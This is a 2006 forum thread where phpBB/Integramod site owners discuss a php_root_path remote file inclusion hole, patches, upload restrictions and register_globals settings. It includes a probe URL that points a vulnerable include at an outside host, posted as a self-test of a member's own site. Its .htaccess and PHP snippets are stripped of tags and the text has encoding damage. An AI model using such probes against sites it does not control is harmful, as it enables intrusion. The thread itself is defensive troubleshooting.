Recent Hacking Discussion (continued...)

This is where youll find security related information.
Discuss Integramod/phpbb security issues here.

Moderator: Integra Moderator

PostAuthor: Vadar » Tue Aug 29, 2006 2:59 pm

OK, I'm the ultimate novice on php, but I'm having the same problem that Twitchy described in the ACP under the Photo Album section. I went back in and verified that I had all of the latest fixes as per the second post installed (Rev 5).

While doing that I noticed something that looked strange to me. For the fix labled function_portal.php 1 fix Rev 05 I notice that it shows: die("Hacking attempt");

For the other fixes, Hacking attempt is in single quotes vice double quotes, like this:
die('Hacking attempt');

Is that right?

For Michaelo, here is what I get when I hover my cursor over the ACP - Photo Album - CLowN SP Config link: http://www.navyjrotc.us/portal/admin/ad ... hp?sid=xxx
Last edited by Vadar on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

Vadar
Integra Supporter
Integra Supporter
 
Posts: 68
Likes: 0 post
Liked in: 0 post
Joined: Sun Mar 26, 2006 7:30 pm
Cash on hand: 0.00

PostAuthor: computerz » Tue Aug 29, 2006 3:31 pm

"Vadar";p="14537" wrote:OK, I'm the ultimate novice on php, but I'm having the same problem that Twitchy described in the ACP under the Photo Album section. I went back in and verified that I had all of the latest fixes as per the second post installed (Rev 5).

While doing that I noticed something that looked strange to me. For the fix labled function_portal.php 1 fix Rev 05 I notice that it shows: die("Hacking attempt");

For the other fixes, Hacking attempt is in single quotes vice double quotes, like this:
die('Hacking attempt');

Is that right?

For Michaelo, here is what I get when I hover my cursor over the ACP - Photo Album - CLowN SP Config link: http://www.navyjrotc.us/portal/admin/ad ... 149ade22d2


in the die function it should be double quotes
Last edited by computerz on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

computerz
Members
Members
 
Posts: 84
Likes: 0 post
Liked in: 0 post
Joined: Sun Aug 27, 2006 1:21 pm
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: Michaelo » Tue Aug 29, 2006 3:33 pm

One of us is confused...

Before you can upload a file you either need ftp access or as a member you upload a file of allowed types (.gif, .png etc.). There is no other way for a hacker to put a file on a server assuming they havent hack another site on the server in which case they may be able to cross contaminateà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦

To hack a site first you need a way in, to accomplish this you need to find a vulnerable point an exploit it, as with the recent hacks. The hackers used a remote file/script via the php_root_path weakness to execute a remote script allowing them accessà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦ Once they gained access they proceeded to either upload files to gain control of the site or, as in most cases simply used a remote script hack tool to do thisà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦

I have examined the possibility of restricting upload directories to only accept certain file such as images or zips in an effort to counter the cross contamination problemà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦ more later on thisà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦

Mike
Last edited by Michaelo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
Kiss Portal Engine phpbbireland (status: Released)
User avatar
Michaelo
Administrator
Administrator
 
Posts: 1646
Likes: 0 post
Liked in: 0 post
Joined: Sat Mar 11, 2006 5:14 pm
Cash on hand: 0.00
Location: Dublin, Ireland

PostAuthor: Michaelo » Tue Aug 29, 2006 3:36 pm

It can be single or double they are both treated as strings... I hope! <img>
Last edited by Michaelo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
Kiss Portal Engine phpbbireland (status: Released)
User avatar
Michaelo
Administrator
Administrator
 
Posts: 1646
Likes: 0 post
Liked in: 0 post
Joined: Sat Mar 11, 2006 5:14 pm
Cash on hand: 0.00
Location: Dublin, Ireland

Re: Recent Hacking Discussion (continued...)

PostAuthor: computerz » Tue Aug 29, 2006 3:46 pm

"Michaelo";p="14539" wrote:One of us is confused...

Before you can upload a file you either need ftp access or as a member you upload a file of allowed types (.gif, .png etc.).


I was under the assumption that the scripts already contain this input validation. Then if not, you're saying that in addition to an avatar or a photogallery image, I can upload .pl, .tlc, .c etc? Because these are the files that I find in these directories. A filter for .pl, .tlc, .zip, .tgz, and .c would definitely be in order, because these are the file extensions the hackers are uploading.

There is no other way for a hacker to put a file on a server assuming they havent hack another site on the server in which case they may be able to cross contaminateà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦

I'm not sure about this. I've seen it where one can put fget(), wget, or fput() commands into the URI.. but since we have phpbb_security installed that should stop that unless of course hackers have discovered a workaround.

To hack a site first you need a way in, to accomplish this you need to find a vulnerable point an exploit it, as with the recent hacks. The hackers used a remote file/script via the php_root_path weakness to execute a remote script allowing them accessà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦ Once they gained access they proceeded to either upload files to gain control of the site or, as in most cases simply used a remote script hack tool to do thisà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦
agreed

I have examined the possibility of restricting upload directories to only accept certain file such as images or zips in an effort to counter the cross contamination problemà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦ more later on thisà¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¦


Great! Can't wait to see what you have. <img>
Last edited by computerz on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

computerz
Members
Members
 
Posts: 84
Likes: 0 post
Liked in: 0 post
Joined: Sun Aug 27, 2006 1:21 pm
Cash on hand: 0.00

PostAuthor: Michaelo » Tue Aug 29, 2006 3:54 pm

computerz, You as admin determine what can be uploaded it's in the ACP allow upload file type or something like that.

If you have any other file/script it is a result of hacking...
You cannot send any type of command via the address...

Play around with this little htaccess info and see how it goes...
Code: Select all
 <Directory>        # Allow access to the root of the hosting folder     Options None     AllowOverride None     Order allow,deny     Allow from all     <FilesMatch>    # But only to files with the specified extentions  Order allow,deny  Deny from all     </FilesMatch>     <FilesMatch>  Order allow,deny  Allow from all     </FilesMatch></Directory>  


The root is you forum root... If you get it working place it in all upload directories...
Mike
Last edited by Michaelo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
Kiss Portal Engine phpbbireland (status: Released)
User avatar
Michaelo
Administrator
Administrator
 
Posts: 1646
Likes: 0 post
Liked in: 0 post
Joined: Sat Mar 11, 2006 5:14 pm
Cash on hand: 0.00
Location: Dublin, Ireland

PostAuthor: Solomon » Tue Aug 29, 2006 3:59 pm

The "other site" claims phpBB_security 1.0.3 will not stop the recent hacks but that CrackerTracker will. I have no clue, this is why I am asking. This has nothing to do with Michaelo's fixes.
Last edited by Solomon on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
[hr]

Solomon
Members
Members
 
Posts: 90
Likes: 0 post
Liked in: 0 post
Joined: Sat May 20, 2006 8:22 am
Cash on hand: 0.00

PostAuthor: computerz » Tue Aug 29, 2006 4:07 pm

"Michaelo";p="14544" wrote:computerz, You as admin determine what can be uploaded it's in the ACP allow upload file type or something like that.

ahhhh.. i forgot about that, but isn't that only for the attachment control panel for the forums. In other words do those restrictions also apply to the smartor Photogallery, and the avatar image uploads?


you cannot send any type of command via the address...
Thats good to know

Play around with this little htaccess info and see how it goes...
Code: Select all
 <Directory>        # Allow access to the root of the hosting folder     Options None     AllowOverride None     Order allow,deny     Allow from all     <FilesMatch>    # But only to files with the specified extentions  Order allow,deny  Deny from all     </FilesMatch>     <FilesMatch>  Order allow,deny  Allow from all     </FilesMatch></Directory>  
will most certainly!

And if we succeed with this, I'll be the first to throw in a nice donation for your hard work!
Last edited by computerz on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

computerz
Members
Members
 
Posts: 84
Likes: 0 post
Liked in: 0 post
Joined: Sun Aug 27, 2006 1:21 pm
Cash on hand: 0.00

PostAuthor: Vadar » Tue Aug 29, 2006 4:29 pm

Just an update....

I'm seeing the same problem as in the ACP - Photo Album (Hacking attempt... Details Logged) in the ACP - Extensions block. Neither problem is a result of a hack, but rather the file modifications made as per Rev 5.
Last edited by Vadar on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

Vadar
Integra Supporter
Integra Supporter
 
Posts: 68
Likes: 0 post
Liked in: 0 post
Joined: Sun Mar 26, 2006 7:30 pm
Cash on hand: 0.00

PostAuthor: angisson » Tue Aug 29, 2006 4:35 pm

yeah, I put the patches on my site.. and now my chat system (the chat scip from the 5 dollar script place , lol)


as long as my site is safe I can live iwth out th chat, but I am woundering how I would fix it?
Last edited by angisson on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
[url=http][img=left]http://www.4teensonly.com/banner/banner2.gif[/img]
It's a cool place to chat, play games, and meet cool people come check us out!!![/url]

angisson
Newbie
Newbie
 
Posts: 26
Likes: 0 post
Liked in: 0 post
Joined: Wed Apr 26, 2006 2:41 pm
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: ihammo » Wed Aug 30, 2006 4:39 am

Now I am confused

I applied all the fixes as per Rev 5 and thought I would try the exploit on my site to see if it worked.

So, i popped http://my site/portal/includes/functions.php?php_root_path=http://www.testing123.com/test.html in to a browser and I did not get a "hacking attempt" message.

has anyone else tried this on their own site to see what happens? Until I can fix this I have taken my site offline completely
Last edited by ihammo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

ihammo
Newbie
Newbie
 
Posts: 28
Likes: 0 post
Liked in: 0 post
Joined: Thu May 25, 2006 1:42 am
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: ihammo » Wed Aug 30, 2006 6:36 am

Ok, I think I have worked it out. My provider has switched Register_Globals to OFF (without telling me!)

To test I replicated my site on a server at home and set Register_Globals to ON. With this the hacking code worked when trying the hack.

Then I set it to OFF and the hacking code didn't work, but the phpbb_root_path variable attempting to be passed in the URL was nowhere to be seen (i added code to display it in both circumstances)

So, with Register_Globals off is the functions.php exploit at all possible? I am guessing (hoping) not!

Thanks everyone!
Last edited by ihammo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

ihammo
Newbie
Newbie
 
Posts: 28
Likes: 0 post
Liked in: 0 post
Joined: Thu May 25, 2006 1:42 am
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: Solomon » Wed Aug 30, 2006 7:49 am

"ihammo";p="14568" wrote:Now I am confused

I applied all the fixes as per Rev 5 and thought I would try the exploit on my site to see if it worked.

So, i popped http://my site/portal/includes/functions.php?php_root_path=http://www.testing123.com/test.html in to a browser and I did not get a "hacking attempt" message.

has anyone else tried this on their own site to see what happens? Until I can fix this I have taken my site offline completely


I get the same result with Register_Globals ON or OFF:

Warning: main(./includes/functions_categories_hierarchy.): failed to open stream: No such file or directory in /home/XXXXX/public_html/forum/includes/functions.php on line 38

Warning: main(): Failed opening './includes/functions_categories_hierarchy.' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/XXXXX/public_html/forum/includes/functions.php on line 38
[hr:2q2wbgp0]
Is this what I should get?
Last edited by Solomon on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
[hr]

Solomon
Members
Members
 
Posts: 90
Likes: 0 post
Liked in: 0 post
Joined: Sat May 20, 2006 8:22 am
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: ihammo » Wed Aug 30, 2006 9:09 am

When Register_Globals was OFF I got the exact same response as you Soloman.

I added some extra code to the hacking code to display the root path that was being used and no matter what I did whilst Register_Globals was OFF I couldn't pass anything to functions.php via the URL.

However, when Register_Globals was ON, I would get the "hacking attempt. Details Logged" message when testing the URL

I take it you do have direct contol over the Register_Globals variable on your server and did check that it was ON or OFF? I created a simple php file with the code
Code: Select all
 <phpphpinfo>  


which I then navigated to in my browser to check that the Register_Variable had indeed changed. I run apache under windows on my test server and had to restart apache after changing the php.ini file (which needs to be in your windows directory I think - or apache does not seem to see it [but that could be my crappy set up of apache <img> ])
Last edited by ihammo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.

ihammo
Newbie
Newbie
 
Posts: 28
Likes: 0 post
Liked in: 0 post
Joined: Thu May 25, 2006 1:42 am
Cash on hand: 0.00

Re: Recent Hacking Discussion (continued...)

PostAuthor: Solomon » Wed Aug 30, 2006 9:28 am

"ihammo";p="14588" wrote:When Register_Globals was OFF I got the exact same response as you Soloman.

I added some extra code to the hacking code to display the root path that was being used and no matter what I did whilst Register_Globals was OFF I couldn't pass anything to functions.php via the URL.

However, when Register_Globals was ON, I would get the "hacking attempt. Details Logged" message when testing the URL

I take it you do have direct contol over the Register_Globals variable on your server and did check that it was ON or OFF? I created a simple php file with the code
Code: Select all
 <phpphpinfo>  


which I then navigated to in my browser to check that the Register_Variable had indeed changed. I run apache under windows on my test server and had to restart apache after changing the php.ini file (which needs to be in your windows directory I think - or apache does not seem to see it [but that could be my crappy set up of apache <img> ])

I'm toggling it via my .htaccess file and then verifying it in the ACP/Tool and/or ACP/Security section. Local toggles ON & OFF accordingly, and Master always stays ON because this is my host's shared server default.

.htaccess file string for servers where Master is default ON:

Local OFF desired
Code: Select all
php_value register_globals 0
Last edited by Solomon on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
[hr]

Solomon
Members
Members
 
Posts: 90
Likes: 0 post
Liked in: 0 post
Joined: Sat May 20, 2006 8:22 am
Cash on hand: 0.00

PreviousNext

Return to Forum Security

Who is online

Registered users: Bing [Bot], Google [Bot]

cron